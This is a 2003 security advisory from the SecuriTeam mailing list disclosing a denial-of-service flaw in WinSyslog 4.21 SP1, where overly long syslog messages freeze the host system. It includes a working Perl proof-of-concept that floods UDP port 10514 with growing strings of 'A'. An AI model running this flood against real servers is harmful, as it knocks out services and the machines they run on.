[NT] Security Vulnerability in WinSyslog (DoS)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/14/03

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Date: 14 Oct 2003 14:53:17 +0200

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      Security Vulnerability in WinSyslog (DoS)
    ------------------------------------------------------------------------

    SUMMARY

     <http://WinSyslog.com> WinSyslog is "an enhanced syslog server for
    Windows". A vulnerability in the product allows remote attackers to cause
    the WinSyslog to freeze, which in turn will also freeze the operating
    system on which the product executes.

    DETAILS

    Vulnerable version:
     * WinSyslog version 4.21 SP1

    By sending an arbitrary long Syslog messages to the WinSyslog program it
    is possible to cause it to freeze, when WinSyslog freezes the whole
    operating system will freeze with it.

    Exploit:
    #!/usr/bin/perl
    #WinSyslog System Freeze Vulnerability

    use IO::Socket;
    $host = "192.168.1.44";
    $port = "10514";
    $data = "A";

    $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
    $@\n";
    $ipaddr = inet_aton($host) || $host;
    $portaddr = sockaddr_in($port, $ipaddr);

    for ($count = 0; $count < 1000; $count ++)
    {
    $buf = "";
    $buf .= "A"x((600+$count)*4);

    print "Length: ", length($buf), "\n";
    send($socket, $buf, 0, $portaddr);
    print "sent\n";
    }

    print "Done\n";

    ADDITIONAL INFORMATION

    SecurITeam would like to thank <storm@securiteam.com> STORM for finding
    this vulnerability.

    ========================================

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